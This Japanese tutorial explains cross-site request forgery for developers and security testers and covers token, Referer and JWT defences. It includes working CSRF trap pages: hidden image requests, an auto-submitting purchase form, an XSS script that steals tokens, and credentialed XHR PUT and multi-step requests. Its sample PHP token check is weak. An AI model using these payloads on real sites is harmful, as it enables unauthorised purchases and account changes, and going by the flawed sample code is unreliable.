クロスサイトリクエストフォージェリ(CSRF/XSRF)という脆弱性の理解
クロスサイトリクエストフォージェリ(以下CSRF)とはどんな脆弱性か。実は脆弱性診断を仕事にしている人でもきちんと理解していなかったり、説明が難しかったりする脆弱性です。
そんな、クロスサイトリクエストフォージェリ(CSRF/XSRF)を一言で説明すると
実行制御の不備を「①攻撃者が悪用」し、「②被害者が意図しないタイミングで機能を実行」した結果、「③被害者の資産への被害または攻撃者の不正利得の可能性」があるセキュリティの問題
です。①②の事象を満たしつつ、③の被害を示さなければならない点が難しいです。
たまたま座った場所にリモコンがあってエアコンが付いてしまうはCSRFなのか?
「②被害者が意図しないタイミングで機能を実行」は満たしていますが、①③を示す根拠は足りないため診断結果上は脆弱性としないと考えられます。
CSRFの実例としてはよくSNSへの不正書き込みが例として挙げられがちですが、現在は利益目的のサイバー攻撃が大半なので例が適切ではありません。
Webサービスの振込先変更の機能をCookieの値のみでユーザ識別を行っていることを悪用して、不正に振り込ませるというのも①〜③を満たしCSRFとなります。
これに関連して”犯罪利用預金口座等に係る資金による被害回復分配金の支払い等に関する法律”という法律が2008年から施行されており、振込先口座として悪用された場合、最悪現在利用している全口座を凍結され「口座凍結名義人リスト」に登録され今後一切口座開設ができないなんて事にもなります。使わない口座だからと管理を杜撰にしている心当たりがある方は今すぐ改めましょう。
銀行等の金融機関(2条1項各号)は、預金口座につき、犯罪利用預金口座である疑いがあると認めるときは、取引の停止等の措置をし、さらに資金を移転する目的で利用された疑いがある他の金融機関の預金口座があると認めるときは、当該他の金融機関に対し情報提供する(3条)。
①攻撃者が悪用
②被害者が意図しないタイミングで機能を実行
③被害者の資産への被害または攻撃者の不正利得の可能性
CSRFではボタンを押させる必要がある?
Burp Suite(Pro)で生成可能なPoCもボタンを押す形式なのでボタンを押させる必要があると勘違いする人が少なくないのですが、以下のように画像タグやJavascriptでもCSRFは行なえることを想定しなければなりません。サイズを0にした画像やバックグラウンドで非同期に通信するためまず気づかれません。
画像タグを利用したCSRF
<img src=”https://csrf.com/attack1.php” width=”0″ height=”0″ border=”0″>
読み込みと同時に購入されるCSRF
<!DOCTYPE html>
<html lang=“ja”>
<head> <title>罠ページ</title> </head>
<body onload=“document.myform.submit();“>
<form action=”http://target.com/purchase.php” method=”post” name=”myform”>
<input name=”PurchaseGoodsId” type=”hidden” value=”10000″ />
<input name=”NumberOfItems” type=”hidden” value=”99″ />
<input type=”submit” value=”送信” /></form>
Burp Suite(Pro)で”Engagement tools”から”Generate CSRF PoC”と選択するだけでHTMLを生成されます。診断業務で使用する際にも利用されていて「Generated by Burp suite Proffesional」の文言を削除して利用しています。
CSRFの脆弱性への対策①トークン(OneTime Token)
トークンで①攻撃者が悪用と②被害者が意図しないタイミングで機能を実行の可能性を潰すためには以下の観点で確認すべきです。
・他人の未使用のトークンを利用できないか
・トークンが再利用可能か
・トークンの値が法則性の推測や長さに十分な強度があるか
3番目の強度や生成ロジックに関する検証は非常に困難なので原則独自実装は行なわずフレームワークの生成ライブラリなどを使用してください。
基本的な流れとしては1.乱数文字列(トークン)を生成→2.ボタン押下時にトークンを付与したリクエストを送信→3.サーバ側で保持しておいたトークンとリクエストで送信されたトークンの比較を行う
php(スクラッチ)でのCSRF対策の実装
ますはPHPでスクラッチする場合を紹介します。これで基本的な実装は理解できると思います。
<?php
session_start();
if (isset($_SESSION[‘sid’]) && $_SESSION[‘sid’] === true) {
$token = hash(‘sha256’,mcrypt_create_iv(32, MCRYPT_DEV_URANDOM));
echo <<<EOS
<form action=”shop_s.php” method=”POST”>商品ID:<input type=”text” name=”GoodsId” />
購入数:<input type=”text” name=”num” />
<input type=”submit” />
<input type=”hidden” name=”token” value=”$token” />
</form>
EOS;
$_SESSION[‘token’] = $token;
}
?>
検証処理の実装部分です。
<?php
session_start();
if (isset($_SESSION[‘login’]) && $_SESSION[‘login’] === true) {
if ((isset($_POST[‘num’])&&isset($_SESSION[‘token’]))&&$_POST[‘token’]==$_SESSION[‘token’]) {購入処理へ
}else{
エラー処理へ
}
}
?>
php(Laravel)でのCSRF対策の実装
public function token() {
$token = ! empty($this->csrfToken) ? $this->csrfToken : $this->session->getToken();
return $this->hidden(‘_token’, $token);
}
↓
<input name=“_token” type=“hidden” value=“XXXXXXXXXXXXXXXXXXXXXX”>
トークン(OneTime Token)さえしっかり実装していれば脆弱性対策になる?
残念ながら脆弱性の可能性は完全にないと言い切れません。XSS(クロスサイト・スクリプティング)の脆弱性が更新関連のページ(確認画面など)にあった場合、以下の例のように正規の値を取得され悪用されてしまいます。推測困難なトークンを発行できたら発行したトークンを取られないようにするところまで出来て対策となります。
<script>
var csrftargetPage = ‘http://target.com/target.php’;
var csrftargetForm = ‘form’;
//トークンを取得する
var html = get(csrftargetPage);
document.body.innerHTML = html;
var form = document.getElementById(csrfProtectedForm);
var token = form.token.value;
//フォームを送信内容を作成する
document.body.innerHTML += ‘</p>
<form action=”‘ + csrftargetPage + ‘” method=”POST”>’
+ ‘<input type=”hidden” name=”token” value=”‘ + token + ‘”>’
+ ‘<input id=”PurchaseGoodsId” name=”PurchaseGoodsId” value=”11111″>’
+ ‘<input id=”NumberOfItems ” name=”NumberOfItems” value=”99999″>’
+ ‘</form>
<p>’;
//フォームを送信する
document.forms[0].submit();
function get(url) {
var xmlHttp = new XMLHttpRequest();
xmlHttp.open(“GET”, url, false);
xmlHttp.send(null);
return xmlHttp.responseText;} </script>
旧パスワードを入れていればCSRFではない
脆弱性診断では「旧パスワードを入れていればCSRFではない」と機械的に判断しているところを散見しますが、
セシールオンラインショップの新規登録者における存否応答の差異を利用した情報漏洩などの事件を見ている限り再考の余地があると考えてます。
みなさんはすべてのサービスで異なるパスワードを設定しているでしょうか。ちょっとした無料テンプレートのダウンロードや記事の講読でメールアドレスの登録を要求するサービスもたくさんありとっさに浮かぶパスワードが他でも設定していないと言いきるのは難しいと思います。セシールオンラインショップでは 1,938件の不正アクセスで490 名のアカウントにログインが出来たとのことです。
25%と高確率で突破されたのもメインで使っているパスワードが平均4種類程度だったことを考えれば妥当な線ではないでしょうか。
私自身約130個程のサービスにメールアドレスをアカウントとして登録しているようですが、無料の登録サービスが圧倒的に多く、有償のサービスに比べ
私はクレジット情報を入れるサービスで登録するメールアドレスと無料サービスを利用するためのメールアドレスは最低限混在させないようにしています。
要するにメールアドレスとパスワードの組み合わせは実質1個以上漏れてしまっていると考えたほうが現実的です。このため旧パスワードがあるから安全と考えず他の処理同様ワンタイムトークンの実装などしっかり別途対策を行なう必要があります。
参考:弊社「セシールオンラインショップ」への不正アクセスとお客様情報流出の可能性に関する調査結果のお知らせ
CSRFの脆弱性への対策②リファラを確認する
中間者攻撃MITMやヘッダの偽装には脆弱なことやプライバシーの観点からブラウザのでリファラを送信しない設定が可能なことも考慮する必要があります。
ヘッダで対策するならば、このあと紹介するX-Request-Withなどプリフライトで制御し内容そのものを送らせない処理が有効です。
WebAPI でのPOST/GET以外のCSRFの脆弱性
formのmethodにはPostかGetしか設定出来ないんだからPUTやDeleteメソッドならCSRFは関係ないでしょう?
流れから御察しのようにCSRFは可能です。具体的にはXMLHttpRequest を利用して以下のように罠ページを作ることが出来ます。CORS(Cross-Origin Resource Sharing)の仕様上、preflightリクエストによりクロスドメインアクセスが可能か確認するリクエストを送信し、そのレスポンスを受けた後に改めてクロスドメインのリソースアクセスを行う手筈になるのでその時点で制限すればいい訳ですがAPIとして様々なオリジンからアクセスを受け入れている場合は脆弱な状態となります。
この場合は後述のJWT(JSON Web Token)を用いて対策するのが良いでしょう。
<html>
<body>
<form id=”form”><input type=”submit”></form>
<script>
(function(){
var username = document.getElementById(‘username’),
form = document.getElementById(‘form’);
form.addEventListener(‘submit’,function(e){
e.preventDefault();
var xhr = new XMLHttpRequest();
var url =”https://hogehoge.com/users “;
xhr.open(‘put’,url,true);
xhr.setRequestHeader(“Content-Type”, “application/json”);
xhr.withCredentials = true;
var json = {“id”:”9999″,”name”:”TEST”,”domain”:”www.eval.jp”,”phone_number”:”0300000000″,”address”:{“country”:”JP”,”zip_code”:”TEST”,”state”:”TEST”,”city”:”TEST”,”address_1″:”TEST”,”address_2″:”TEST”},”tags”:[]};
xhr.send(JSON.stringify(json));
});})();
</script>
</body>
</html>
CSRFの脆弱性への対策③JWT(JSON Web Token)
電子署名により、JSON の改ざんをチェックできる第三者にJWTが改ざん場合でも、サーバー側で復号するときに失敗するようになっており、認証・認可失敗として処理を止めることができます。
更新APIをリクエストする際は、「Autorizationヘッダ」にJWTを追加することで対策となります。CookieにセットするとCSRFに脆弱になります。
仕様が気になる方はRFC7519をご確認ください。
マルチステップトランザクションはCSRF出来ないか
もうおわかりの通りCSRFは可能です。マルチステップトランザクションというのは聞きなれないかもしれませんが、更新する内容をあらかじめいくつかのステップにわけて送信し最後に更新する処理です。
<html>
<body>
<form id=”form”>
<input type=”submit”>
</form>
<script>
(function(){
var username = document.getElementById(‘username’),
form = document.getElementById(‘form’);
form.addEventListener(‘submit’,function(e){
e.preventDefault();
var xhr0 = new XMLHttpRequest();
var url0 =”https://taget.com/form0/”;
xhr0.open(‘get’,url0,true);
xhr0.setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”);
xhr0.withCredentials = false;
xhr0.send(null);
setTimeout(“done()”,1000);});
})();
function done(){
var xhr1 = new XMLHttpRequest();
var url1 =”https://taget.com/form1/”;
xhr1.open(‘post’,url1,true);
xhr1.setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”);
xhr1.withCredentials = true;
var postdata1 = “context=Input%2Fform&enterText=testuser1&reenterText=testuser1&submit=%E7%A2%BA%E8%AA%8D&Form0=3″;
xhr1.send(postdata1);var xhr2 = new XMLHttpRequest();
var url2 =”https://taget.com/form2/”;
xhr2.open(‘post’,url2,true);
xhr2.setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”);
xhr2.withCredentials = true;
var postdata2 = “context=Confirm%2Fform2&commit=update”;
xhr2.send(postdata2);
}</script>
</body>
</html>
BEASTもCRIMEもCSRFの一種
BEASTもCRIMEも、意図しないリクエストが飛ばされ、そこにCookieが自動的に含まれてしまう点を攻撃するという意味で、CSRF攻撃の一種だと言えるでしょう。
CRIMEはBEASTの正統な後継者と呼べるものとなっており、BEASTが注目した、HTTPリクエストについての以下の特徴を同じように利用します。
暗号化されていても、データのサイズについては漏れます。リクエストに埋め込んだ偽のCookieの値が、HTTPヘッダに含まれる本物のCookieの値と一致した場合にのみ、データの圧縮後のサイズが小さくなるわけです。攻撃者は様々な文字列を埋め込み、送信されるデータのサイズを確認します。サイズに変化があれば、有効な値というわけです。
フレームワークとCSRFトークン
フレームワークのCSRFトークンの特色を知っておく事とフレームワーク選定や診断業務の知識に深みが増します。
_csrfToken → CakePHP:sha512なので128文字の長いトークンです。
form_token → Drupal:日本でしか人気が出ていませんがPHP標準のrandom_bytesを利用しています。
magic_token → MovableType:sha1を見えないところで使ってます。
_csrf → Spring Frame:当サイトでも春になると具合の悪くなるフレームワークのSpringはUUIDを採用しています。
トークンか怪しい
_wpnonce → Wordpress: nonce(number used once)のわりにワンタイムではない
Joomlaのtoken:値は1だが2でも3でも通る0だとfaleseになる。値でなくパラメータ名がtoken値となっています。怪しい・・
以上です。お役に立てれば幸いです。